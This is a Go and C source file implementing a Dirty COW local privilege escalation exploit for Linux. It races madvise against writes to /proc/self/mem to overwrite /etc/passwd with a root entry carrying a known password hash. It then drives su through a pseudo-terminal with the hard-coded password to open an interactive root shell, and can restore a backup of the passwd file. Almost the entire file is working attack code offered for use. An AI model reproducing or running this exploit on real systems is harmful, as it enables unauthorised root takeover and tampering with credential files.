// ----------------------------------------------------------------- // Copyright (C) 2017 Gabriele Bonacini // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software Foundation, // Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA // ----------------------------------------------------------------- package expl /* #cgo LDFLAGS: -lutil #include #include #include #include #include #include #include #include #include #include #include #include #include #include char* cGetUsrName(){ struct passwd* userId = getpwuid(getuid()); return userId->pw_name; } void* map = NULL; bool run = true; void cMadviser(char* pwdfile, int len){ int fd = open(pwdfile, O_RDONLY); map = mmap(NULL, len, PROT_READ,MAP_PRIVATE, fd, 0); while(run){ madvise(map, len, MADV_DONTNEED);} close(fd); } void cWriter(char* psm, char* pwd, int size){ int fpsm = open(psm, O_RDWR); while(run){ lseek(fpsm, (off_t)map, SEEK_SET); (void) write(fpsm, pwd, size); } } void stopAll(void){ run = false; } void exitOnError(char* msg){ perror(msg); exit(EXIT_FAILURE); } enum SETTINGS{ BUFFSIZE=1024 }; const char* DISABLEWB = "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"; const char* EXITCMD = "exit\n"; struct termios termOld, termNew; bool rawMode = false; void cOpenTern(const char* cpcmd, const char* rmcmd, const char* pwd, bool opShell, bool restPwd){ int master; pid_t child = forkpty(&master, NULL, NULL, NULL); if(child == -1) exitOnError("Error forking pty."); if(child == 0){ execlp("su", "su", "-", NULL); exitOnError("Error on exec."); } char buffv[BUFFSIZE]; memset(buffv, 0, BUFFSIZE); ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1); if(bytes_read <= 0) exitOnError("Error reading su prompt."); fprintf(stderr, "Received su prompt (%s)\n", buffv); if(write(master, pwd, strlen(pwd)) <= 0) exitOnError("Error writing pwd on tty."); if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0) exitOnError("Error writing cmd on tty."); if(!opShell){ if(write(master, EXITCMD, strlen(EXITCMD)) <= 0) exitOnError("Error writing exit cmd on tty."); }else{ if(!restPwd){ if(write(master, cpcmd, strlen(cpcmd)) <= 0) exitOnError("Error writing restore cmd on tty."); if(write(master, rmcmd, strlen(rmcmd)) <= 0) exitOnError("Error writing restore cmd (rm) on tty."); } if(tcgetattr(STDIN_FILENO, &termOld) == -1 ) exitOnError("Error getting terminal attributes."); termNew = termOld; termNew.c_lflag &= (unsigned long)(~(ICANON | ECHO)); if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1) exitOnError("Error setting terminal in non-canonical mode."); rawMode = true; while(true){ fd_set rfds; FD_ZERO(&rfds); FD_SET(master, &rfds); FD_SET(STDIN_FILENO, &rfds); if(select(master + 1, &rfds, NULL, NULL, NULL) < 0 ) exitOnError("Error on select tty."); if(FD_ISSET(master, &rfds)) { memset(buffv, 0, BUFFSIZE); bytes_read = read(master, buffv, BUFFSIZE - 1); if(bytes_read <= 0) break; if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read) exitOnError("Error writing on stdout."); } if(FD_ISSET(STDIN_FILENO, &rfds)) { memset(buffv, 0, BUFFSIZE); bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1); if(bytes_read <= 0) exitOnError("Error reading from stdin."); if(write(master, buffv, bytes_read) != bytes_read) break; } } } } void cResetTer(void){ if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld); } */ import "C" import ( "io" "io/ioutil" "os" "bufio" "strings" "time" ) const ( DEFPWD = "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/" ROOTID = "root:" SSHDID = "sshd:" TMPBAKFILE = "/tmp/.ssh_bak" BAKFILE = "./.ssh_bak" PSM = "/proc/self/mem" PWDFILE = "/etc/passwd" MAXITER = 300 DEFSLTIME = 300000 CPCMD = "\\cp " RMCMD = "\\rm " TXTPWD = "dirtyCowFun\n"; ) func exitOnError(e error) { if e != nil { panic(e) } } func Getpwuid() string{ return C.GoString(C.cGetUsrName()) } func ParsePwd(id *string, restPwd bool) (string, int) { etcPasswd, err := os.Open(PWDFILE) exitOnError(err) var bakFile string if restPwd { bakFile = BAKFILE } else { bakFile = TMPBAKFILE } backup, err := os.Create(bakFile) exitOnError(err) rstream := bufio.NewReader(etcPasswd) var ( header string footer string pwdSize int ) for line, err := rstream.ReadString('\n'); err != io.EOF ; line, err = rstream.ReadString('\n') { backup.WriteString(line) pwdSize = pwdSize + len(line) if strings.Index(line, ROOTID) == 0 { header = header + ROOTID + DEFPWD + line[len(ROOTID) + 1:] } else if strings.Index(line, *id) == 0 || strings.Index(line, SSHDID) == 0 { header = header + line } else { footer = footer + line } } defer etcPasswd.Close() defer backup.Close() return header + footer, pwdSize } type Expl struct { Id, NewPwd string PwdFSize, Iter int } func NewExpl(restPwd bool) *Expl { var err error ex := new(Expl) ex.Id = Getpwuid() + ":" ex.NewPwd, ex.PwdFSize = ParsePwd(&ex.Id, restPwd) exitOnError(err) return ex } func (ex Expl) Madviser(){ C.cMadviser(C.CString(PWDFILE), C.int(ex.PwdFSize)) } func (ex Expl) Writer(){ C.cWriter(C.CString(PSM), C.CString(ex.NewPwd), C.int(ex.PwdFSize)) } func (ex Expl) Checker(){ for ex.Iter <= MAXITER { buff, err := ioutil.ReadFile(PWDFILE) exitOnError(err) if strings.Contains(string(buff), DEFPWD) { break } ex.Iter ++; time.Sleep(DEFSLTIME); } C.stopAll() } func (ex Expl) Shell( opShell, restPwd bool){ C.cOpenTern(C.CString(CPCMD + TMPBAKFILE + " " + PWDFILE + "\n"), C.CString(RMCMD + TMPBAKFILE + "\n"), C.CString(TXTPWD), C.bool(opShell), C.bool(restPwd) ) } func (ex Expl) RestoreTerm(){ C.cResetTer() }